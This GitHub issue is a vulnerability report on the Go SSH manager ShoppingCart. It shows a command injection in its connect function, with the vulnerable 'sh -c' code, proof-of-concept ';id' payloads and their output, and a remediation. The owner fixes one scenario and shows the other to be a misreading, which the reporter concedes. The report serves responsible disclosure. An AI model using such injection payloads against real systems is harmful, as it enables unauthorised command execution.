

NietThijmen / ShoppingCart Public[Code](#) [Issues](#) [Pull requests](#) [Actions](#) [Projects](#) [Security and quality](#)[New issue](#)

Command Injection Vulnerability in the connect Function #1

Closed

Assignees



Labels

bug

Buckdray opened on Nov 1, 2024



Description

The connect function in ssh.go is vulnerable to command injection due to improper handling and validation of user-supplied arguments. An attacker could craft a malicious payload that injects additional commands into the SSH connection string, allowing arbitrary command execution on the host system.

Severity

- **High/Critical**

Explanation

The command string cmd is constructed by directly concatenating user-supplied input (item.User, item.Host, item.Port) without proper validation or sanitization.

This allows an attacker to include additional shell commands as part of the User, Host, or Port values. For instance, an input like **host; whoami** would break out of the SSH command and execute **whoami**.

Exploitation POC

Scenario 1

1. Run the compiled app with a semicolon to breakout of the ssh command:

Payload=**;**command****

```
./ShoppingCart ;id
```



```
└─$ ./ShoppingCart ;id
NAME:
  Shopping cart - Manage Manage your SSH connections in style

USAGE:
  Shopping cart [global options] Iommand [command options]

AUTHOR:
  NietThijmen <thijmen@rierink.dev>

COMMANDS:
  add      Add a new item to the cart
  remove   Remove an item from the cart
  connect  Connect to an item in the cart
  help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
  --help, -h  show help
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(ne
tdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer)
```

Scenario 2

1. The same command injection vulnerability could be exploited by adding a new item to the cart with a payload inserted into the Port field during input. When this item is later processed by the connect function, the malicious payload is executed, resulting in arbitrary command execution.

```
./ShoppingCart add
```



On the **Enter the port** prompt input the payload:

Payload=**;**command****

```
└─$ ./ShoppingCart add
Enter the username: pwn
Enter the host: pwn.xyz
Enter the port: ;id
2024/11/01 16:23:02 INFO Username: pwn, Host: pwn.xyz, Port: ;id
```

2. Issue the **connect** command and select the command you just issued. In this case select **0**

```
./ShoppingCart connect
```



```

└─$ ./ShoppingCart connect
2024/11/01 16:23:48 INFO Select an option:
0 - pwn@pwn.xyz::;id
0

```

3. Command is executed

```

2024/11/01 16:23:51 INFO Connecting to: pwn@pwn.xyz::;id
command is ssh pwn@pwn.xyz -p ;id
option requires an argument -- p
usage: ssh [-46AaCfGgKkMmNnqsTtVvXxYy] [-B bind_interface] [-b bind_address]
          [-c cipher_spec] [-D [bind_address:]port] [-E log_file]
          [-e escape_char] [-F configfile] [-I pkcs11] [-i identity_file]
          [-J destination] [-L address] [-l login_name] [-m mac_spec]
          [-O ctl_cmd] [-o option] [-P tag] [-p port] [-R address]
          [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]]
          destination [command [argument ... ]]
          ssh [-Q query_option]
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(ne
tdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer)
2024/11/01 16:23:51 INFO Connection closed, shutting down ...

```

Vulnerable Code - ssh.go file

```

func connect(item storage.SSHConfig) {
    // create a connection

    cmd := "ssh " + item.User + "@" + item.Host + " -p " + item.Port
    executed := exec.Command("sh", "-c", cmd)

    executed.Stdin = os.Stdin
    executed.Stdout = os.Stdout
    executed.Stderr = os.Stderr

    _ = executed.Run()
}

```

Remediation

- Use libraries that allow you to call system functions safely

- If you have to, then use strict validation and sanitization of input



NietThijmen on Nov 1, 2024

Owner



Hi!

I have fixed Scenario 2 in your bug report, huge thanks for this.

The only issue is with Scenario 1 it appears that this will not be ran inside the SSH host but is just how UNIX runs commands. The main command shows the help menu, then you run id when doing `./ShoppingCart ;id` If this is a misunderstanding please notify me as I will try to fix it.

Huge thanks for the report! And hope you'll enjoy using ShoppingCart



 **NietThijmen** self-assigned this [on Nov 1, 2024](#)



 **NietThijmen** added **bug** [on Nov 1, 2024](#)



Buckdray on Nov 2, 2024 · edited by Buckdray

Edits ▾

Author



Hi there, many thanks for the fix. I see your point and my apologies for the mix up, a slip up on my side in that case is it ok if we disclose this ?



 **Buckdray** closed this as [completed](#) [on Nov 2, 2024](#)

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

Metadata

Assignees

 **NietThijmen**

Labels



Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

 